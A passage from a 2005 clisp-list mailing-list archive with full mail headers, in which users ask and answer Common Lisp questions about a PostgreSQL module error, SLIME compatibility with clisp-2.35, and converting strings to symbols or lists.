2005 14:45:39 -0500 Received: from localhost (rray@localhost) by rray.drdc.mstc.ms.gov (8.13.1/8.13.1/Submit) with ESMTP id j8CJjdmN001075 for ; Mon, 12 Sep 2005 14:45:39 -0500 X-Authentication-Warning: rray.drdc.mstc.ms.gov: rray owned process doing -bs From: Richard Ray X-X-Sender: rray@rray.drdc.mstc.ms.gov To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Novice sql problem (write-char on # is illegal) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Sep 12 12:49:25 2005 X-Original-Date: Mon, 12 Sep 2005 14:45:39 -0500 (CDT) I'm new to lisp so please be gentle. While trying to use the functions in modules/postgresql/sql.lisp I get this error. [1]> (use-package "SQL") T [2]> (with-sql-connection (conn :host "host" :port "5432" :options nil :tty nil :name "mydb" :login "user" :password "password") (sql-transaction conn "BEGIN" sql:PGRES_COMMAND_OK)) *** - WRITE-CHAR on # is illegal The following restarts are available: ABORT :R1 ABORT Can someone explain a bit? I've done a bit of reading, "Common Lisp, A Gentle Introduction to Symbolic Computation", "Common LISPcraft", and "Practical Common Lisp". Now I'm beginning to put it to use. I read the file "sql.lisp" and understand most of it except (when res (set-foreign-pointer res :copy)) in sql-connect and sql-transaction. Can someone offer a bit more detail than what is in impnotes.html? Thanks Richard Ray From sds@gnu.org Mon Sep 12 14:15:16 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EEve0-0007eq-Is for clisp-list@lists.sourceforge.net; Mon, 12 Sep 2005 14:15:16 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EEvdw-0001Wi-U5 for clisp-list@lists.sourceforge.net; Mon, 12 Sep 2005 14:15:16 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j8CLEsWh019299; Mon, 12 Sep 2005 17:14:56 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Richard Ray Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Richard Ray's message of "Mon, 12 Sep 2005 14:45:39 -0500 (CDT)") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Richard Ray Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Novice sql problem (write-char on # is illegal) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Sep 12 14:16:10 2005 X-Original-Date: Mon, 12 Sep 2005 17:14:04 -0400 > * Richard Ray [2005-09-12 14:45:39 -0500]: > > I'm new to lisp so please be gentle. > While trying to use the functions in modules/postgresql/sql.lisp I get > this error. > > [1]> (use-package "SQL") > T > [2]> (with-sql-connection (conn :host "host" :port "5432" :options nil > :tty nil :name "mydb" :login "user" :password "password") > (sql-transaction conn "BEGIN" sql:PGRES_COMMAND_OK)) > > *** - WRITE-CHAR on # is illegal > The following restarts are available: > ABORT :R1 ABORT > > Can someone explain a bit? stack trace would be nice. > I read the file "sql.lisp" and understand most of it except (when res > (set-foreign-pointer res :copy)) in sql-connect and sql-transaction. > Can someone offer a bit more detail than what is in impnotes.html? have you read the whole thing?! -- Sam Steingold (http://www.podval.org/~sds) running w2k There is an exception to every rule, including this one. From rray@mstc.state.ms.us Mon Sep 12 14:44:10 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EEw5x-0000Vs-Uu for clisp-list@lists.sourceforge.net; Mon, 12 Sep 2005 14:44:09 -0700 Received: from e3000a.state.ms.us ([205.144.224.140] helo=itspmx1.state.ms.us) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EEw5U-0006nu-Hy for clisp-list@lists.sourceforge.net; Mon, 12 Sep 2005 14:44:10 -0700 Received: from tcmail.mstc.state.ms.us (tcmail.mstc.state.ms.us [10.3.60.220]) by itspmx1.state.ms.us (8.12.11/8.12.11) with ESMTP id j8CLhb98016343 for ; Mon, 12 Sep 2005 16:43:37 -0500 (CDT) (envelope-from rray@mstc.state.ms.us) Received: from rray.drdc.mstc.ms.gov ([172.17.32.2]) by tcmail.mstc.state.ms.us; Mon, 12 Sep 2005 16:43:14 -0500 Received: from rray.drdc.mstc.ms.gov (localhost.localdomain [127.0.0.1]) by rray.drdc.mstc.ms.gov (8.13.1/8.13.1) with ESMTP id j8CLfK3m002962 for ; Mon, 12 Sep 2005 16:41:20 -0500 Received: from localhost (rray@localhost) by rray.drdc.mstc.ms.gov (8.13.1/8.13.1/Submit) with ESMTP id j8CLfKOZ002959 for ; Mon, 12 Sep 2005 16:41:20 -0500 X-Authentication-Warning: rray.drdc.mstc.ms.gov: rray owned process doing -bs From: Richard Ray X-X-Sender: rray@rray.drdc.mstc.ms.gov To: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Novice sql problem (write-char on # is illegal) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Sep 12 14:45:00 2005 X-Original-Date: Mon, 12 Sep 2005 16:41:20 -0500 (CDT) On Mon, 12 Sep 2005, Sam Steingold wrote: >> * Richard Ray [2005-09-12 14:45:39 -0500]: >> >> I'm new to lisp so please be gentle. >> While trying to use the functions in modules/postgresql/sql.lisp I get >> this error. >> >> [1]> (use-package "SQL") >> T >> [2]> (with-sql-connection (conn :host "host" :port "5432" :options nil >> :tty nil :name "mydb" :login "user" :password "password") >> (sql-transaction conn "BEGIN" sql:PGRES_COMMAND_OK)) >> >> *** - WRITE-CHAR on # is illegal >> The following restarts are available: >> ABORT :R1 ABORT >> >> Can someone explain a bit? > > stack trace would be nice. [2]> (trace with-sql-connection) ;; Tracing macro WITH-SQL-CONNECTION. (WITH-SQL-CONNECTION) [4]> (with-sql-connection (conn :host "host" :port "5432" :options nil :tty nil :name "mydb" :login "user" :password "password") (sql-transaction conn "BEGIN" sql:PGRES_COMMAND_OK)) 1. Trace: (WITH-SQL-CONNECTION (CONN :HOST "host" :PORT "5432" :OPTIONS NIL :TTY NIL :NAME "mydb" :LOGIN "user" :PASSWORD "password") (SQL-TRANSACTION CONN "BEGIN" |pgres_command_ok|)) 1. Trace: WITH-SQL-CONNECTION ==> (LET ((CONN (SQL-CONNECT :HOST "host" :PORT "5432" :OPTIONS NIL :TTY NIL :NAME "mydb" :LOGIN "user" :PASSWORD "password"))) (UNWIND-PROTECT (PROGN (SQL-TRANSACTION CONN "BEGIN" |pgres_command_ok|)) (PQ-FINISH CONN))) *** - WRITE-CHAR on # is illegal The following restarts are available: ABORT :R1 ABORT > >> I read the file "sql.lisp" and understand most of it except (when res >> (set-foreign-pointer res :copy)) in sql-connect and sql-transaction. > > > >> Can someone offer a bit more detail than what is in impnotes.html? > > have you read the whole thing?! i'm getting there > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > There is an exception to every rule, including this one. > From sds@gnu.org Mon Sep 12 15:28:23 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EEwml-0002av-GQ for clisp-list@lists.sourceforge.net; Mon, 12 Sep 2005 15:28:23 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EEwmk-0002tR-1Q for clisp-list@lists.sourceforge.net; Mon, 12 Sep 2005 15:28:23 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j8CMS7B9026274; Mon, 12 Sep 2005 18:28:07 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Richard Ray Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Richard Ray's message of "Mon, 12 Sep 2005 16:41:20 -0500 (CDT)") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Richard Ray Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Novice sql problem (write-char on # is illegal) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Sep 12 15:29:27 2005 X-Original-Date: Mon, 12 Sep 2005 18:27:17 -0400 > * Richard Ray [2005-09-12 16:41:20 -0500]: > > On Mon, 12 Sep 2005, Sam Steingold wrote: > >>> * Richard Ray [2005-09-12 14:45:39 -0500]: >>> >>> I'm new to lisp so please be gentle. >>> While trying to use the functions in modules/postgresql/sql.lisp I get >>> this error. >>> >>> [1]> (use-package "SQL") >>> T >>> [2]> (with-sql-connection (conn :host "host" :port "5432" :options nil >>> :tty nil :name "mydb" :login "user" :password "password") >>> (sql-transaction conn "BEGIN" sql:PGRES_COMMAND_OK)) >>> >>> *** - WRITE-CHAR on # is illegal >>> The following restarts are available: >>> ABORT :R1 ABORT >>> >>> Can someone explain a bit? >> >> stack trace would be nice. > > [2]> (trace with-sql-connection) stack trace /= TRACE try ":bt" or - if that output is too small - ":bt1" -- Sam Steingold (http://www.podval.org/~sds) running w2k What was the best thing before sliced bread? From pjb@informatimago.com Mon Sep 12 19:20:52 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EF0Pj-0005Ii-CS for clisp-list@lists.sourceforge.net; Mon, 12 Sep 2005 19:20:51 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EF0Pf-0000Ju-Q1 for clisp-list@lists.sourceforge.net; Mon, 12 Sep 2005 19:20:51 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 5DD1D585D3; Tue, 13 Sep 2005 04:20:33 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id BDDF7585C8; Tue, 13 Sep 2005 04:20:31 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 2A5EC10F9F6; Tue, 13 Sep 2005 04:20:31 +0200 (CEST) From: Pascal Bourguignon To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Reply-To: Message-Id: <20050913022031.2A5EC10F9F6@thalassa.informatimago.com> X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] bit-rot in slime Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Sep 12 19:21:35 2005 X-Original-Date: Tue, 13 Sep 2005 04:20:31 +0200 (CEST) slime-1.2.1 uses: (getf (gethash symbol system::*documentation*) 'system::file) to get the path of a file where symbol is defined. This doesn't work anymore in clisp-2.35. What facility is there in this version to do the same? (I've not found anything browsing the implemention nodes ToC). -- __Pascal Bourguignon__ http://www.informatimago.com/ Our enemies are innovative and resourceful, and so are we. They never stop thinking about new ways to harm our country and our people, and neither do we. -- Georges W. Bush From kavenchuk@jenty.by Mon Sep 12 23:44:13 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EF4Wa-0006Cu-Iv for clisp-list@lists.sourceforge.net; Mon, 12 Sep 2005 23:44:12 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EF4WZ-0002SP-4I for clisp-list@lists.sourceforge.net; Mon, 12 Sep 2005 23:44:12 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id SJ8CMGTC; Tue, 13 Sep 2005 09:44:48 +0300 Message-ID: <43267583.9090107@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: pjb@informatimago.com CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] bit-rot in slime References: <20050913022031.2A5EC10F9F6@thalassa.informatimago.com> In-Reply-To: <20050913022031.2A5EC10F9F6@thalassa.informatimago.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Sep 12 23:45:13 2005 X-Original-Date: Tue, 13 Sep 2005 09:45:23 +0300 Pascal Bourguignon wrote: > slime-1.2.1 uses: > > (getf (gethash symbol system::*documentation*) 'system::file) > > to get the path of a file where symbol is defined. > > This doesn't work anymore in clisp-2.35. What facility is there in > this version to do the same? (I've not found anything browsing the > implemention nodes ToC). > In slime from CVS head this is change to (documentation symbol 'sys::file) -- WBR, Yaroslav Kavenchuk. From pomarancde23@post.cz Tue Sep 13 03:00:27 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EF7aF-000653-Mn for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 03:00:11 -0700 Received: from smtp1.vol.cz ([195.250.128.78]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EF7aB-0005R0-H3 for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 03:00:11 -0700 Received: from webmail4.post.cz (webmail4.post.cz [212.20.96.203]) by smtp1.vol.cz (Postfix) with ESMTP id 87C9A402BA for ; Tue, 13 Sep 2005 11:59:58 +0200 (CEST) Received: from webmail4.post.cz (localhost [127.0.0.1]) by webmail4.post.cz (8.12.9p2/8.12.9) with ESMTP id j8D9xwZs057182 for ; Tue, 13 Sep 2005 11:59:58 +0200 (CEST) (envelope-from pomarancde23@post.cz) Received: (from www@localhost) by webmail4.post.cz (8.12.9p2/8.12.9/Submit) id j8D9xwoB057181; Tue, 13 Sep 2005 11:59:58 +0200 (CEST) (envelope-from pomarancde23@post.cz) Received: from fokus9098.fokus.fraunhofer.de (fokus9098.fokus.fraunhofer.de [195.37.79.98]) by www4.mail.post.cz (www4.mail.post.cz [212.20.96.203]) with HTTP; Tue, 13 Sep 2005 11:59:58 +0200 (CEST) MIME-Version: 1.0 From: pomarancde23@post.cz X-Originating-Account: pomarancde23/post.cz To: clisp-list@lists.sourceforge.net Message-ID: X-Mailer: Volny.cz Webmail2 1.82 X-Originating-Ip: 195.37.79.98 X-Originating-Agent: Mozilla/5.0 (compatible; Konqueror/3.3; Linux) (KHTML, like Gecko) X-Priority: 3 Content-Type: text/plain; charset="iso-8859-2" Content-Transfer-Encoding: 7bit X-Spam-Score: 0.7 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name 0.5 FROM_ENDS_IN_NUMS From: ends in numbers Subject: [clisp-list] OPS5 + string without " Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 13 03:01:32 2005 X-Original-Date: Tue, 13 Sep 2005 11:59:58 +0200 (CEST) Hello all! I'm trying to write a program with clisp + ops5. First is a general question: Have anybody seen an example or howto for ops5? (I just read the OPS5 User's Manual July 1981, from Charles L. Forgy and the demos with ops5 -> there are not many examples for external functions in ops5). Second question: I have a string, let say (setq str "heynow") and need to give to a function just the heynow without " around it. How can I do that? (the string is allways without special symbols or spaces/tabs ..) Thank you very much for your answers in advanced Tomas From pjb@informatimago.com Tue Sep 13 03:18:56 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EF7sN-0006ua-Ac for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 03:18:55 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EF7sJ-0000lQ-G7 for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 03:18:55 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 44F03585D3; Tue, 13 Sep 2005 12:18:39 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 73EED585C8; Tue, 13 Sep 2005 12:18:37 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id EEB9910F9F6; Tue, 13 Sep 2005 12:18:36 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17190.42876.635359.36105@thalassa.informatimago.com> To: pomarancde23@post.cz Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] OPS5 + string without " In-Reply-To: References: X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 13 03:19:18 2005 X-Original-Date: Tue, 13 Sep 2005 12:18:36 +0200 pomarancde23@post.cz writes: > Second question: I have a string, > let say > (setq str "heynow") > and need to give to a function just the heynow without " around > it. How can I do that? The " is not inside the string: (princ "heynow") will print: heynow If what you mean is that you want a symbol named "heynow", there are some considerations to take care of: - do you mean heynow or HEYNOW or HeyNow? - what package do you want this symbol in? If this is what you want, you could use: (intern "heynow" *package*) > (the string is allways without special > symbols or spaces/tabs ..) Thank you very much for your answers > in advanced This doesn't matter, all characters are valid in symbol names too: (intern "With special characters such as :, *, \", and '.") --> |With special characters such as :, *, ", and '.| ; (princ (intern "With special characters such as :, *, \", and '.")) With special characters such as :, *, ", and '. --> |With special characters such as :, *, ", and '.| -- "What is this talk of "release"? Klingons do not make software "releases". Our software "escapes" leaving a bloody trail of designers and quality assurance people in its wake." From pomarancde23@post.cz Tue Sep 13 05:35:51 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EFA0r-0003n9-8d for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 05:35:49 -0700 Received: from smtp3.vol.cz ([195.250.128.83]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EFA0o-0001os-VE for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 05:35:49 -0700 Received: from webmail4.post.cz (webmail4.post.cz [212.20.96.203]) by smtp3.vol.cz (Postfix) with ESMTP id CFEB7594AC for ; Tue, 13 Sep 2005 14:35:38 +0200 (CEST) Received: from webmail4.post.cz (localhost [127.0.0.1]) by webmail4.post.cz (8.12.9p2/8.12.9) with ESMTP id j8DCZcZs077227 for ; Tue, 13 Sep 2005 14:35:38 +0200 (CEST) (envelope-from pomarancde23@post.cz) Received: (from www@localhost) by webmail4.post.cz (8.12.9p2/8.12.9/Submit) id j8DCZcid077226; Tue, 13 Sep 2005 14:35:38 +0200 (CEST) (envelope-from pomarancde23@post.cz) Received: from fokus9098.fokus.fraunhofer.de (fokus9098.fokus.fraunhofer.de [195.37.79.98]) by www4.mail.post.cz (www4.mail.post.cz [212.20.96.203]) with HTTP; Tue, 13 Sep 2005 14:35:38 +0200 (CEST) MIME-Version: 1.0 From: pomarancde23@post.cz X-Originating-Account: pomarancde23/post.cz To: clisp-list@lists.sourceforge.net Message-ID: X-Mailer: Volny.cz Webmail2 1.82 X-Originating-Ip: 195.37.79.98 X-Originating-Agent: Mozilla/5.0 (compatible; Konqueror/3.3; Linux) (KHTML, like Gecko) X-Priority: 3 Content-Type: text/plain; charset="iso-8859-2" Content-Transfer-Encoding: 7bit X-Spam-Score: 0.7 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name 0.5 FROM_ENDS_IN_NUMS From: ends in numbers Subject: [clisp-list] |(a b c)| to (a b c) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 13 05:36:33 2005 X-Original-Date: Tue, 13 Sep 2005 14:35:38 +0200 (CEST) Hello again! is there a way to turn |(a b c)| into (a b c), so I can process it with a function that takes lists as arguments? Cheers Tomas From marcoxa@cs.nyu.edu Tue Sep 13 05:44:50 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EFA9Z-00047j-Vk for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 05:44:49 -0700 Received: from bioinformatics.cims.nyu.edu ([216.165.110.10] helo=bioinformatics.nyu.edu) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EFA9Y-0004Xi-NP for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 05:44:50 -0700 Received: from [66.108.23.1] (account marcoxa HELO [192.168.0.2]) by bioinformatics.nyu.edu (CommuniGate Pro SMTP 4.1.5) with ESMTP-TLS id 365162 for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 08:44:42 -0400 Mime-Version: 1.0 (Apple Message framework v622) In-Reply-To: References: Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Marco Antoniotti Subject: Re: [clisp-list] |(a b c)| to (a b c) To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.622) X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.3 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP 